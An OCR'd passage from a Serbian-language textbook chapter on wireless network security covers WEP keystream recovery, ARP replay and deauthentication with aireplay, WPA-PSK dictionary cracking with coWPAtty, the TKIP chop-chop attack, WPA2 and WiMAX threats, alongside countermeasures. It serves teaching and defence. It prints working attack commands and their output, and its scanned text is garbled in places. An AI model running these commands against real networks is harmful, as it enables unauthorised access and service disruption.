XOR
Chalenge / NONCE ICV

\Y Key Sequence

Slika 7.2.4.1 Dobijanje sekvence kljuca tokom inicijalne autentikacije
Dobijanje sekvence kljuca je trivijalno kada je tajnost narusena, kao $to je

pokazano u odeljku 7.3.2. Drugi na¢in za dobijanje sekvence kljuca je kada je
omogucena autentikacija deljenim klju¢em. Nonce i E(Nonce) na slici 7.2.3 su
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otvoreni tekst i njemu odgovarajuéi kriptovani tekst. Posle medusobnog XOR-ovanja
daju napadacu mogucnost dobijanja sekvence kljuca koja je duga 136 bajtova. IV se
uvek Salje kao otvoreni tekst. U slucaju kada je kriptovanje dodato autentikaciji, nema
nikakvog razloga za upotrebu autentikacije sa deljenim klju¢em. Kriptovanje samo po
sebi obezbeduje isti nivo autentikacije zato Sto samo klijent koji zna tajni WEP kljuc
mozZe da kriptuje pakete i komunicira. Potpuno u suprotnosti sa intuitivnim
shvatanjem, autentikacija deljenim klju¢em mora biti iskljuena iz bezbednosnih
razloga! Otvoreni sistem autentikacije je podrazumevani mehanizam autentikacije, ali
iako je definisan precizno ovaj metod dobijanja sekvence kljuca retko daje rezultate.
Sa laznom pristupnom tackom, moguce je naterati klijenta da se autentikuje, mada to
zavisi i od podeSenja bezbednosnih parametara koja korisnk ima.

Sve do IEEE 802.11 standarda iz 1999. god. postojala je moguénost neautorizovanog
otkrivanja sekvence klju¢a u toku postupka autentikacije. Preporuka koju ovaj
standard daje je izbegavanje koriS¢enja istih parova sekvence kljuca i IV u narednim
okvirima. Ova preporuka ne pomaze protiv preuzimanja sekvence kljuca, ali je
sredstvo za odbranu od preuzimanja autorizacije. Medutim to nema veceg znacaja,
napada¢ iako preuzme autorizaciju ponovnom upotrebom prethodno uocenog
challenge response, nadalje nema pristupa kriptovanoj komunikaciji.

# ./ prgasnarf -i eth3

Auth Frame : Auth Type: Shared -Key - 00 01:00:01:00

Auth Frame : Auth Type: Shared -Key - 01 01:00:02:00 :seq = 02 : Challenge
Frame ? Auth Frame : [3] Encrypted Auth Response

Auth Frame : [4] responder OK with auth

BSSID : 00121749 d181 SourceMAC : 000 e35a30f56

Created 136 byte PRGA for 1V: 4b:39: fd

Created prgafile .dat in current directory

Slika 7.2.4.2 listing PRGASnharf

Softverski paket pod nazivom WEPWedgie stoji na prijemu cekajuéi
authentication okvire sa chalenge responce. Jednom kada ih pronade, izdvaja
sekvencu kljuca i ¢uva je u fajlu zajedno sa IV. U listingu na Slici 7.2.4.2 PRGASnarf
iz paketa WEPWedgie nadzire WLAN interfejs eth3 ocekujuéi sesiju autentikacije.
Prve cetiri linije opisuju svaki okvir za autentikaciju koji je uhvatio, prvo zahtev,
zatim nonce, pa kriptovani odgovor i na kraju pozitivan odgovor za autentikaciju.
BSSID i MAC adresa autentikovanog klijenta su prikazani u sledecoj liniji. Zadnje
dve linije daju informacije o veli¢ini sekvence kljuca, njegovom IV-u i u koji fajl su
smesteni.

7.2.5 Ubrzano prikupljanje inicijalnih vektora

Postoji moguénost za ubrzavanje procesa prikupljanja IV i odgovarajuceg
kriptovanog teksta koji su neophodni za krekovanje WEP kljuca. Klijent ili pristupna
tacka su prevareni i Salju kriptovane okvire podataka, svaki sa novim IV. Da bi
obavio posao, napada¢ mora da ubacuje pakete i za to ima opcije:

e Ponovno slanje prikupljenih paketa prema redosledu da bi primio nove
odgovore,

e Slanje paketa deautentikacije prema klijentu tako da on mora ponovo
da se autentikuje.
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o Pravljenje paketa, njihovo kriptovanje sa poznatom sekvencom kljuca i
njihovo slanje da bi se dobio odgovor na njih. Povezivanje sa klijentom
preko spoljne mreze.

Retransmisija je metod koji koristi Aircrack. Usiljena reautentikacija je sporiji
proces u poredenju sa ostalim opcijama. Ubacivanje paketa zahteva dodatno
poznavanje mreze kao Sto su IP adrese. Povezivanje sa klijentom preko spoljne mreze
zahteva dosta znanja i nije prakticno u realnim uslovima napada na WLAN, zato se
takav napad retko primenjuje.

7.2.5.1 Retransmisija paketa

Napada¢ moze da izvrsi retransmisiju (slanje primljenih paketa) onih paketa
koje je uhvatio od validnog klijenta ili pristupne tacke. Za to su najpogodniji paketi
koji nose podatke u connection-less protokolima. Kod protokola orjentisanih ka
konekciji, duplirani paketi mogu biti otkriveni i uniSteni. UDP i ARP paketi su
odli¢an izbor. Odredeni tipovi paketa imaju neke osobine na osnovu kojih napadac
moze da ih identifikuje sa velikom verovatno¢om. IEEE 802.11 okviri koji nose ARP
zahtev su dugi 68 bajta i adresirani na broadcast MAC adresu (FF:FF:FF:FF:FF:FF).
ARP zahtev moze biti potpuno pojednostavljen i opsSti ako se ARP keS tabela
osvezava veoma Cesto od strane bilo kojeg klijenta u mrezi. ARP zahtev sledi kada se
klijenti konektuju i diskonektuju Cesto na mrezu, $to je slucaj kod bezi¢nih mreza.
Zbog toga Sto je ARP zahtev broadcast, zahtevi odaslani u zi¢noj mrezi dopiru do
bezi¢ne mreze iako striktno gledano nebi trebali da se nadju tu.

# tcpdump -i eth2 arp

tcpdump : verbose output suppressed , use -v or -vv for full protocol decode
listening on eth2 , link - type EN1OMB ( Ethernet ), capture size 96 bytes
06:15:34.747002 arp who - has 192.168.1.1 tell 192.168.1.116

06:15:34.748811 arp reply 192.168.1.1 is -at 00:12:17:49: d1 :7f (oui Unknown )
06:15:39.744364 arp who - has 192.168.1.116 tell 192.168.1.1

06:15:39.744386 arp reply 192.168.1.116 is -at 00:0 d:54:9 d:ec:4b ( oui Unknown )
06:19:49.663522 arp who - has 192.168.1.1 tell 192.168.1.140

06:19:54.660989 arp who - has 192.168.1.116 tell 192.168.1.1

06:19:54.661011 arp reply 192.168.1.116 is -at 00:0 d:54:9 d:ec:4b ( oui Unknown )
06:20:34.767898 arp who - has 192.168.1.1 tell 192.168.1.116

06:20:34.769336 arp reply 192.168.1.1 is -at 00:12:17:49: d1 :7f (oui Unknown )
06:25:29.790841 arp who - has 192.168.1.1 tell 192.168.1.116

06:25:29.792594 arp reply 192.168.1.1 is -at 00:12:17:49: d1 :7f (oui Unknown )
06:25:34.787133 arp who - has 192.168.1.116 tell 192.168.1.1

06:25:34.787157 arp reply 192.168.1.116 is -at 00:0 d:54:9 d:ec:4b ( oui Unknown )
06:26:45.241247 arp who - has 192.168.1.116 tell 192.168.1.1

06:26:45.241282 arp reply 192.168.1.116 is -at 00:0 d:54:9 d:ec:4b ( oui Unknown )
06:27:00.255980 arp who - has 192.168.1.116 tell 192.168.1.140

06:27:00.256002 arp reply 192.168.1.116 is -at 00:0 d:54:9 d:ec:4b ( oui Unknown )

Slika 7.2.5.1.1 listing ARP saobraéaj

Na Slici 7.2.5.1.1 se vidi ARP saobrac¢aj jedne male mreze koja se sastoji od jednog
bezicnog klijenta (.116), jedne pristupne tacke (.1), i klijenta spojenog na pristupnu
tacku preko zi¢ne mreze (.140). NiSta posebno se ne deSava u mrezi §to bi izazvalo
ARP saobracaj, ali se ARP paketi pojavljuju veoma cesto. To je zbog trajanje keSa na
pristupnoj tacki od samo jednog minuta. Posle isteka tog vremena klijent viSe nije na
mrezi. Cak i kada radunar ne radi ni§ta, uobicajeno je da instalirani softver povremeno
trazi konekciju ka internetu, pa se zbog toga Salju ARP zahtevi ka pristupnoj tacki ili
ka internet gateway.

# aireplay -x 800 -3 -b 00:12:17:49:D1 :81 -h 00:0E :35: A3 :0F :56 ath0
Saving ARP requests in replay_arp -0530 -060850. cap
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You must also start airodump to capture replies .
Read 11922 packets (got 1024 ARP requests ), sent 5720 packets ...)

Slika 7.2.5.1.2 Aircrack prosleduje prikupljene ARP zahteve

Na Slici 7.2.5.1.2 je prikazana sesija gde Aireplay vrsi retransmisiju prikupljenih ARP
zahteva. -x 800 govori Aireplay da radi retransmisiju okvira 800 puta u sekundi, -3
omogucéava mod retransmisije, -b 00:12:17:49:D1:81 je BSSID koji treba napasti, i -h
00:0E:35:A3:0F:56 je MAC adresa kljienta u WLAN mrezi. U zadnjoj liniji Aireplay
daje status o tome koliko je okvira prikupio, i koliko od njih je verovatno ARP paketa.

7.2.5.2 Forsiranje ponovne autentikacije

Use -c to target a specific station .

# ./ aireplay -0 5 -a 00:13:10:9 B :47: F1 ath0

16:01:04 Sending DeAuth to broadcast -- BSSID : [00:13:10:9 B:47: F1]
16:01:04 Sending DeAuth to broadcast -- BSSID : [00:13:10:9 B:47: F1]
16:01:05 Sending DeAuth to broadcast -- BSSID : [00:13:10:9 B:47: F1]
16:01:09 Sending DeAuth to broadcast -- BSSID : [00:13:10:9 B:47: F1]
16:01:12 Sending DeAuth to broadcast -- BSSID : [00:13:10:9 B:47: F1]

Slika 7.2.5.2.1 Aircrack ubacuje okvire za deautentikaciju

Drugi metod prikazan na slici 7.2.5.2.1 izvrSen prema listingu, je ubacivanje
deautentication okvira klijentu i tako ga prisiliti da se ponovo autentikuje i kriptuje
novi challenge. Pri eksperimentisanju ovaj metod se nije pokazao efikasnim. Kada je
kao klijent koris¢en Intel IPW2915ABG Mini-PCIl adapter sa ipw-1.0.4 Linux
drajverom, postoji vremenska pauza pre nego Sto klijent pokuSa se ponovnom
autentikacijom. Tako vreme za prikupljanje jednog I1V-a postaje predugacko, oko pola
IV-a za sekundu. Uz to napad nije prikriven posto prekida zrtvu u radu odbijajuci da
mu dozvoli pristup u bezi¢nu mrezu.

7.2.5.3 Upotreba poznate sekvence kljuca

Sekvenca kljuca i IV se mogu koristiti za ubacivanje paketa. Koriste¢i dodatno
znanje o mrezi ili sa nekoliko procena, ICMP zahtev se moZe napraviti i ubaciti. Za
ICMP zahtev treba imati dve IP adrese, izvorisnu i odrediSnu. OdrediSna adresa mora
da pripada Kklijentu u mrezi, a odrediSte moze da bude bilo koja IP adresa u opsegu
adresa za WLAN. Pogadanje prave izvoriSne adrese moze da bude veoma tesko
obzirom da postoji 232 moguce vrednosti. Sreca po napadaca je da veéina pristupnih
tacaka drzi svoje klijente u posebnoj klasi IP adresa, 10.0.0.0/24 ili 192.168.0.0/16
opsezima. Pristupna tacka obi¢no ima prvu adresu u opsegu, npr. 1192.168.0.1, i
WLAN klijentima daje adrese u opsegu do 192.168.0.100.

Softverski alat za pravljenje i ubacivanje paketa podesan za ubrzano prikupljanje IV
nije javno dostupan. ARP retransmisija je jednostavnija za primenu poSto su ARP
zahtevi dostupni i lako prepoznatljivi.

7.2.5.4 Pokretanje saobraéaja u praznoj mrezi
Pristupna tacka moze samo da prima okvire koji dolaze od autentkovanih
klijenata. Sta ako nema klijenta koji je konektovan na pristupnu tacku? JoS uvek je

moguce pokrenuti pristupnu tacku da pocne sa slanjem kriptovanih paketa. Onoliko
dugo koliko je mod za autentikaciju u mrezi otvoren (ili ranjiv kao Sto je prikazano u
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Sekciji 7.2.3) napada¢ moze da se autentikuje i pridruzi mrezi. Pristupna tacka ¢e tada
prosledivati saobracaj namenjen njenoj MAC adresi ili broadcast adresi. Opet se ARP
javlja kao spas. ARP paketi od klijenata u zi¢noj mrezi zavrSavaju u WLAN dok ih
pristupna tacka prosleduje laznom klijentu. Sada retransmisija moze da po¢ne kao Sto
je opisano u odeljku 7.2.5.1.

7.3 Wireles Protected Access (WPA)

7.3.1 Osnove WPA i slabosti

Kada je postalo jasno da postoje ozbiljne bezbednosne slabosti u WEP
mehanizmu zastite i korisnici i proizvodaéi opreme su trazili bolje reSenje. Tada je
poceo rad na standardu 802.11i (poznat i kao WPAZ2). lIzrada standarda je tekla
presporo, a trebalo je iskoristiti postoje¢i hardver uz poboljSanje bezbednosti.
Standard 802.11i je predvideo primenu AES umesto RC4 za kriptovanje, Sto stari
hardver nije mogao da podrzi. Zbog toga je WiFi alijansa napravila novi bezbednosni
sistem pod nazivom Wireless Protected Access (WPA) zasnovan na delovima 802.11i
standarda, ali sa moguc¢no$¢u da koristi hardver na kojem je radio WEP. Da bi se
kreirao jak bezbednosni mehanizam zasnovan na hardveru koji je radio pod WEP-
om uklju¢en je novi protokol nazvan Temporal Key Integrity Protocol (TKIP) sa
svoja tri elementa. Ti elementi su novi Message Integrity Code (MIC) poznatiji kao
Michael, novi sekvencijalni broja¢ paketa i nova funkcija mesSanja kljuc¢eva za svaki
paket. WPA koristi RC4 sa 128 bita osnovnim klju¢em i 64 bita kljuéem za
autentikaciju zajedno sa 48 bita IV i sa ve¢ pomenutom funkcijim za meSanje
klju¢eva. Michael stiti podatke o izvornoj i odrediSnoj adresi odreduje redosled IV a
protokol IEEE 802.11X upravlja klju¢evima. Po zadatom algoritmu se izracunava
MIC na strani predajnika koriste¢i funkciju sa klju¢em i podacima kao ulazom. Takav
proizvod algoritma se Salje zajedno sa korisnim podacima ka prijemniku. Na strani
prijemnika se izvodi ista operacija i rezultat se poredi sa MIC koji je primljen zajedno
sa korisnim podacima. Klasi¢an MIC (kao Sto je HMAC-SHAL1 koji se koristi u IPsec)
ne moze se koristiti na postoje¢em hardveru zato §to zahteva vecu procesorsku snagu.
Zato je napravljen Michael za WPA. Sa takvim MIC algoritmom postoje degradacije
performansi ali nema poznatog algoritma koji sa tako malom procesorskom snagom
obezbeduje takav nivo bezbednosti. Michael koristi Siftovanje XOR 1i sabiranje da bi
napravio 64 bita dug dodatak za autentikaciju koji se Salje zajedno sa korisnim
podacima. Nivo bezbednosti se meri u bitima, i Michael ima nivo bezbednosti od
samo 20 bita, $to ga Cini veoma nesigurnim. Da bi prevaziSao taj problem WPA
zahteva nove kljuceve u slucaju greske u validaciji sa MIC. To menjanje kljuceva je
ogranic¢eno na jednom u minuti, kako bi se sprecio napad ponavljanjem (replay attack)
u WPA. WEP je prosiren sa 48 bita dugim rednim brojem, koji je pomesan sa kljucem
za kriptovanje iz razloga vezanih za implementaciju. Na ovakav nacin nastaje ICV
(Integrity Check Value). U cilju spre¢avanja FMS (Fluhrer-Martin-Shamir) napada
kao u slucaju WEP-a postoji funkcija za meSanje kljueva za svaki paket. Ova
funkcija koristi osnovni klju¢, MAC adresu predajnika i redni broj paketa kao ulaz na
osnovu kojeg pravi kljuc¢ za dati paket. 802.11X se koristi da obezbedi WPA sa novim
klju¢evima za kriptovanje (128 bita osnovni kljuc) i 64 bita klju¢ za autentikaciju koji
koristi Michael prilikom svake nove asocijacije.

Dok su sa razvojem WPA korigovani problemi uoc¢eni kod WEP, otkrivene su
nove slabosti [13]. U literaturi ima misljenja da je WPA (sa PSK) laksi za krekovanje
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nego WEP. Sa unapred pripremljenim re¢nikom postize se velika brzina re¢nickog
napada. Slabost vezana za Michael algoritam (koji se koristi sa WPA), se odnosi na
prekid rada pristupne tacke (AP) u slucaju otkrivanja dva pokusaja ometanja u roku
od jednog minuta. To pruza moguénost za jednu vrstu DoS napada, ali obzirom da
postoje DoS napadi koji se lakSe izvode a zasnovani su na slabosti standarda 802.11
to se ne uzima kao veliki nedostatak. Na pocetku prenosa podataka kada se koristi
WPA-PSK desava se ¢etvorostruki handshake kako bi se uspostavio sistem Sifrovanja.
Informacije poslate u okviru ¢etvorostrukog handshake se mogu iskoristiti za offline
re¢nicki napad. U tom procesu privremeni klju¢ se koristi da napravi hesh okvir. Neki
od brojnih programa za offline re¢nicki napad se moze modifikovati da koristeci
informacije od handshake izvede napad. Prema WPA standardu korisnik bi trebalo da
izabere password koji je duzi od 20 karaktera, ali vecina ljudi to nerado ¢ini iz sasvim
prakticnih razloga, a kratki passwordi se ne mogu odupreti offline recnickim
napadima.

7.3.2 Probijanje WPA - re¢nicki napad

WPA i WPA2 su podlozni re¢nickom napadu kada rade u Pre Shared Key
(PSK) modu. Napada¢ moze da uhvati saobracaj iz ve¢ uspostavljene WPA/WPA2
sesije 1 da primeni re¢nic¢ki napad kako bi dobio PSK. To je Cisti re¢nicki napad, a
moze se preduprediti upotrebom relativno jakih korisni¢kih Sifara i njihovom
periodi¢énom rotacijom [14]. WPA i WPAZ2 u Enterprise modu nije podlozan ovakvim
napadima buduci da koristi 802.11X. Za re¢nicki napad na WPA/WPA2 mreze u PSK
modu zasnovane na TKIP protokolu moze se koristiti open source softverski alat
,COWPALtty** autora Joshua Wright [15]. Alat radi pod Linux-om. Koristi se tako Sto
se posle preuzimanja sa interneta (poslednja verzija je coWPALtty-4.2) iskopira u
/tools/wifi. Nakon toga raspakuje se arhiva komandom tar zxvf cowpatty-4.2.tgz,
prede na direktorijum cowpatty-4.2 i uradi make, time je zavrsena instalacija. Kako bi
izveli recnicki napad treba obezbediti fajl sa uhva¢enim saobrac¢ajem koji u sebi sadrzi
i TKIP ¢etvorostruki handsake, fajl sa re¢nikom koji sadrzi moguce pasworde i SSID
za mrezu koja se napada. Prilikom prikupljanja ¢etvorostrukog handshake mora se
Cekati trenutak kada se klijent pridruzuje na mrezu ili se preporucuje da se klijent
navede na forsiramo ponovno pridruzivanje na mrezu i to pomocu alata kao $to je
void11 ili aireplay i da se prikupi handshake koriste¢i kismet, ethereal ili airodump.

Primer komande za pokretanje cowpatty alata je u slede¢em redu.

Jcowpatty -r wpa-test-01.cap -f dict -s cuckoo
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File Edit View Terminal Tabs Help

Slika 7.3.2.1 coWPAtty alat za WPA-PSK recnicki napad

Kao §to se vidi ovaj re¢nicki napad traje oko 3 minuta, a moZe se dodatno ubrzati ako
se ranije izracuna WPA-PMK kako bi se krekovao WPA-PSK.

wpa-test-01.cap je fajl koji sadrzi ¢etvorostruki handshake,

dict je fajl sa passwordima,

cuckoo je SSID za napadnutu mrezu.

Na internetu se mogu pronacdi fajlovi kao $to je lookup tabela za 1000 SSID sa preko
170,000 reci koje se koriste za passworde. Rezultujuéa tabela je veli¢ine oko 7 GB
[16]. Za komercijalne svrhe postoje tabele veli¢ine i do 33 GB.

Postoje i drugi - komercijalni alati za ovu vrstu napada, kao Sto je WPA Key
Recovery (WPAKR) koji je dodatak alatu CommView a oba su proizvod iste
firme[17]. Ovaj softver ima moguénost paralelnog procesiranja na vise racunara u
mrezi, kao i moguénost dodatnog definisanja pravila od strane korisnika za menjanje
ponudenih reci iz re¢nika na osnovu kojeg se trazi pasword.

Recnicki napad na WPA traje zavisno od pozicije trazene reci u re¢niku kojim
raspolazemo, a moze biti i neuspeSan ako re¢i koja ¢ini password nema u re¢niku
(uklju¢ujuéi i njene permutacije). Kod napada na WEP klju¢ nije potreban re¢nik veé
treba prikupiti nekoliko stotina hiljada paketa saobracaja i uspeh je zagarantovan. U
re¢nickom napadu na WPA/WPA2 u PSK modu uspeh napada nije zagarantovan.

7.3.3 Probijanje WPA ako se koristi TKIP

WPA standardno ima dva moda u kojima se korisna informacija (payload) Stiti
tokom prenosa. To su Temporal Key Integrity Protocol (TKIP) i (AES) CCMP.
Posebno je interesantan TKIP, koji je neznatno modifikovana verzija WEP. TKIP
implementira usavrSenu verziju funkcije za mesanje kljuca sesije sa inicijalnim
vektorom za svaki paket. To onemogucava sve trenutno poznate napade usmerene ka
otkrivanju kljuca, zato Sto svaki bajt kljuca za paket zavisi od svakog bajta kljuca
sesije i inicijalnog vektora. Dodatno je ukljuc¢en u svaki paket, 64 bita dug Message
Integrity Check (MIC) - Michael, da bi sprec¢io napade na slabi mehanizam CRC32
zaStite integriteta, poznat jo§ od WEP. Da bi sprecio jednostavni napad ponavljanjem,
sekvencijalni broja¢ (TSC) se koristi i dozvoljava prijem paketa samo prema
redosledu slanja.
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TKIP je napravljen tako da se postoje¢i hardver, koji podrzava WEP, moze
modifikacijom firmware ili drajvera iskoristi. Tako je RC4 kriptovanje toka podataka
ostalo u upotrebi i ICV je i dalje ostao ukljuéen u svaki paket.

Moze se pokazati da je mogucée dekriptovati saobracaj chop chop metodom i zatim
odaslati paket sa sadrzajem kakav Salje korisnik. Za ovo je potrebno da budu
zadovoljene sledeci uslovi:

e Mreza koja je napadnuta koristi TKIP za komunikaciju klijenta sa pristupnom
tackom (AP).

e Koristi se IPv4 protokol sa I[P opsegom gde je ve¢ina bajta u IP adresi poznata
napadacu (npr. 192.168.0.X).

e Primenjen je dug interval izmene kljuc¢eva za TKIP, na primer 3600 sekundi.

e Mreza podrzava IEEE 802.11e mogucnosti za Quality of Service kojima se
omogucava 8 razli¢itih kanala (koji se zovu TID traffic identifier) za razlicite
tokove podataka.

e Da je korisnik trenutno u komunikaciji sa mrezom.

Ove uslovi su potpuno realni za vecinu mreza koje su u upotrebi. Napada¢ najpre
prisluskuje saobracaj, sve dok ne uoc¢i ARP zahtev ili odgovor. Takvi paketi se lako
uocCavaju zbog svoje karakteristicne duzine. Uz to, izvorna i odredisna ethernet adresa
nisu zasSticene WEP i TKIP pa se zahtev uvek Salje na broadcast adresu u mrezi.
Vecina otvorenog teksta u ovom paketu je poznata napadacu, izuzev poslednjeg bajta
izvoriSne i odredisne IP adrese, 8 bajta Michael MIC i 4 bajta ICV checksum. MIC i
ICV formiraju poslednjih 12 bajta otvorenog teksta.

Sada napada¢ moze da primeni modifikovani chop chop napad kao protiv WEP mreze
da bi dekriptovao nepoznate bajtove otvorenog teksta. TKIP uglavnom ima dve
protivmere za napade tipa chop chop:

- Ako je paket sa neispravnom ICV vrednos¢u primljen na strani klijenta,
greSka u prenosu je simulirana i dobijeni paket ¢e neCujno biti odbacen. Ako je
vrednost ICV ispravna, ali MIC verifikacija nije prosla, simuliran je napad i pristupna
tacka (AP) ¢e biti upozorena slanjem MIC okvira sa izveStajem o gresci (failure report
frame). Ako se viSe od 2 MIC greSke u verifikaciji pojave za manje od 60 sekundi,
komunikacija se prekida, i svi kljuevi se obnavljaju posle 60 sekundi zastoja u
komunikaciji.

- Kada paket pristigne ispravno, TSC broja¢ za kanal u okviru kojeg je
primljen paket se azurira. Ako primljeni paket ima manju vrednost nego Sto je
aktuelna vrednost TSC brojaca, onda je narusen redosled i paket biva odbacen.
Medutim i pored ovih protivmera moguce je izvrsiti napad tipa chop chop. Napadac
¢e napad izvrSavati na razli¢itim kanalima QoS u odnosu na kanal po kojem je paket
primljen. Obi¢no je to kanal na kojem je slab saobracaj ili ga nema, gde je stanje TSC
brojaca Sto manje. Ako je pretpostavka o vrednosti zadnjeg bajta tokom chop chop
napada pogreSna, paket se odbacije bez izdavanja upozorenja o tome. Ako je
pretpostavka tacna, klijent Salje MIC okvir sa izveStajem o gresci ali se TSC brojac ne
inkrementira. Tada napada¢ mora da saceka 60 sekundi posle slanja MIC okvira sa
izveStajem o0 gresSci kako nebi doSlo do pokretanja protivmera za zastitu mreze. U
okviru 12 minuta napada¢ moze da desifruje poslednjih 12 bajtova otvorenog teksta
(MIC i ICV). Da bi odredio ostale nepoznate bajtove (i izvukao IP adrese poSiljaoca i
primaoca), napada¢ moze da pretpostavi vrednosti i da ih proveri na osnovu
dekriptovanog ICV.

Posto su MIC i otvoreni tekst paketa poznati, napada¢ moze da primeni Michael
algoritam reverzno i da dobije MIC klju¢ koji je koriS¢en za zastitu paketa koji je
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pristupna tacka poslala prema klijentu. Michael algoritam nije napravljen da bude
jednosmerna funkcija pa je reverzni algoritam uspeSan koliko i algoritam unapred.

Na ovoj tacki, napada¢ ima MIC klju¢ i tok kljuca koji koristi pristupna tacka za
slanje paketa ka klijentu. On je sada u stanju da posSalje uobicajeni paket prema
klijentu na bilo kom QoS kanalu, gde je TSC brojac jos§ uvek manji od vrednosti uzete
za pokupljeni paket. U vec¢ini mreza koje se koriste u stvarnoj upotrebi sav saobracaj
se obavlja preko kanala 0, tako da je napada¢ u moguénosti da Salje 7 uobicajenih
paketa prema klijentu. PoSto izvr$i i ovu fazu napada, napadac je u mogucnosti da
dobije preostali tok kljuc¢a u roku od 4-5 minuta, zato Sto samo treba da desSifruje 4
bajta ICV koristeci chop chop. Bajtovi IP adresa se mogu pretpostaviti, MIC se moze
izracunati koriste¢i poznati MIC klju¢ i moze se verifikovati na osnovu ICV.

Da bi izazvao $tetu, napada¢ moze na primer poslati poruku kojim pobuduje IDS
sisteme koji rade na IP nivou. Alternativno, sobracaj moze biti prerutiran koristeci
lazne ARP odgovore. Napada¢ moze da pokusa uspostavu bidirekcionog kanala sa
klijentom, ako je klijent konektovan na internet koriste¢i firewall blokiranje dolaznog
saobracaja, ali dozvoljavaju¢i odlazni saobracaj. Odgovor od klijenta napada¢ ne
moze da primi bezi¢no i da razume, ali se on moze ruturati ka napadacu koristeci
internet.

Cak iako IEEE 802.11 ne podrzava QoS moguénosti, napad ove vrste je i dalje
mogu¢. Tada napadac treba da onemogudi klijentu prijem paketa podataka koje je
odabrao za chop chop napad, i mora da diskonektuje klijenta sa pristupne tacke za
vreme napada, tako da se TSC broja¢ ne inkrementira pri prijemu paketa. Posto
napada¢ uspes$no izvr$i chop chop napad, on moze poslati jedan paket podataka
klijentu. Za sada nije objavljeno da je razvijen softver za ovu vrstu napada.

Ako bi napadac bio u mogucénosti da dobije tok kljuca validan za QoS kanale i MIC
klju¢ za oba smera komunikacije (prethodno opisani napad omogucava dobijanje toka
klju¢a i MIC kljuca za komunikaciju samo u smeru od AP-a do klijenta), on bi mogao
da dobije neogranic¢eni tok klju¢a i tako Salje neograniceno pakete podataka sa
proizvoljnim otvorenim tekstom.

Mere za sprecavanje ovakvog napada bi mogle da budu smanjenje vremena za
obnavljanje kljuc¢eva, na primer na 120 sekundi ili manje. Za 120 sekundi, napadac
moze samo da desSifruje deo ICV vrednosti na kraju paketa. Alternativnho se moze
onemogucavanjem slanja MIC okvira sa izvestajem o gresci kod klijenata takode
zastiti mreza od napada ove vrste. Najbolje reSenje je onemogucavanje TKIP i
koris¢enje CCMP.

Primer ovakvog napada pokazuje da WPA sa jakim Siframa nije potpuno siguran i da
se u realnim uslovima moze uspesno napadati. Premda ovaj napad nije takav da daje
kompletan kljué, moguce je da proizvoda¢i opreme u okviru firmwarea
implementiraju zastitu od ovakvih napada. Zato Sto se problemi mogu uociti na visem
nivou protokola, ove izmene je mogucée ostvariti razvijanjem i isporukom novih
drajvera.

7.3.4 Mehanizam zaStite WPA2

WPA2 je deo standarda IEEE 802.11i, zajedno sa WPA. Izmedu ta dva
mehanizma za kriptovanje postoji znacajna razlika. WPA je nastao kao prelazno-
kompromisno resenje koje omogucava poboljSanje zastite podataka u bezi¢noj mrezi
uz mogucnost koriséenja opreme na kojoj je radio WEP. WPA2 koristi novi metod za
kriptovanje CCMP (engl. Counter Mode with CBC-MAC Protocol), zasnovanom na
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AES (engl. Advanced Encryption Standard), koji je kriptografski jac¢i od dotadasnjeg
RCA4.

WPA2 sam ne moze da obezbedi potpunu zastitu, ali u kombinaciji sa IEEE
802.1X portovski orijentisanim autentikacijskim protokolom za kontrolu pristupa
moze eliminisati ve¢inu bezbednosnih pretnji. To ne znaci da je postignuta zaStita od
prevara putem socijalnog inZenjeringa, DoS napada ili napada interferencijom.

Mod za autentikaciju kod WPA i WPA2 moze biti personal i enterprise. WPA2
personal mod generise 256 bita dug klju¢ od otvorenog teksta passworda, koji se
naziva PSK, ili preshared key. PSK zajedno sa SSID i njegovom duzinom formira
matematicku osnovu za PMK (pairwise master key) koji se koristi za cetvorostruki
handshake (razmenu) i generiSe PTK (pairwise transient key) ili klju¢ sesije koja se
uspostavlja izmedu korisnickog uredaja i pristupne tacke. WPAZ2-personal trpi
osporavanja u pogledu distribucije kljuceva i odrzavanja, sto ga ¢ini dovoljnim za
manje kancelarijske primene ali ne i za ve¢e mreze.

WPA2-Enterprise mod, kontrolu pristupa obavlja na bazi naloga i to na posebnom

serveru za autentikaciju. Ovaj mod zahteva uverenja kao Sto su korisnicko ime i
password, certifikat, ili password za jednokratnu upotrebu, a autentikacija se obavlja
na relaciji korisnicki uredaj-centralni server za autentikaciju. Pristupna tacka u ovom
slucaju nadgleda konekciju i usmerava pakete za autentikaciju ka odgovaraju¢em
serveru, obi¢no je to RADIUS server. Okvir za ovo je IEEE 802.1X, koji podrzava
autentikaciju korisnika i uredaja, sa kontrolom na bazi porta, to radi objedinjeno za
obe vrste mreza: zi¢nu i bezi¢nu.
U internet forumima se mogu naci rasprave o slabostima WPA i WPA2. Preko njih se
moze doc¢i do informacija da na trziStu postoji komercijalni softverski paket za napad
grubom silom, koji koristi procesorsku snagu dve GeForce GTX280 video kartice
[18]. Mreza tako opremljenih raunara u paralelnom radu, prema navodima
proizvodaca, moze da izvrsi ,,oporavak izgubljenog kljuca” za WPA ili WPA2 u roku
od nekoliko dana ili nedelja.

7.4 Ugrozavanje bezbednosti podataka u WAN mrezama

lako se o bezbednosti podataka u standardu IEEE 802.16 vodilo racuna jo§ od
samog pocetka stvaranja standarda, bezbednosni mehanizam u IEEE 802.16
(WIMAX) ima jos nereSenih pitanja. WiMAX je relativno nova tehnologija, koja nije
tako rasirena da bi se sa dovoljno primera iz prakse potkrepili dokazi o pretnjama,
rizicima i slabostima u realnim situacijama.

U WIMAX pretnje po bezbednost se odnose na PHY i MAC nivo. Mogu¢i napadi
na PHY nivou uklju¢uju ometanje (jamming) radio spektra, izazivanja otkaza servisa
(DoS) na svim stanicama, i preplavljivanje stanica sa okvirima podataka kako bi
ispraznile svoje baterije. Trenutno nema efikasne tehnike koja bi sprecila ovakve
napade. Ipak fokus bezbednosti WiIMAX je potpuno na MAC nivou [19]. 802.16
bezbednost je implementirana kao podnivo na dnu MAC nivoa sa zadatkom da zastiti
razmenu podataka izmedu MAC i PHY nivoa. U sustini to ne Stiti sam PHY nivo od
napada koji su usmereni na slabosti svojstvene bezi¢nim linkovima. Ometanje i
izvrtanje signala (scrembling) mogu biti oblici napada na PHY sloj od kojih se
WiIMAX 802.16 ne moze braniti.

Ometanje (jamming) se ostvaruje unoSenjem izvora Suma dovoljno jakog da
znacajno smanji kapacitet WiMAX kanala. Informacije i opremu za izvodenje napada
ometanjem nije teSko nabaviti.
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Izvrtanje signala (scrambling) je slicno ometanju ali se ono obi¢no izvodi u
kratkom vremenskom intervalu i usmereno je na specificne WiMAX okvire ili delove
okvira podataka. WiMAX izvrtanje signala se moze selektivno izvoditi na kontrolne
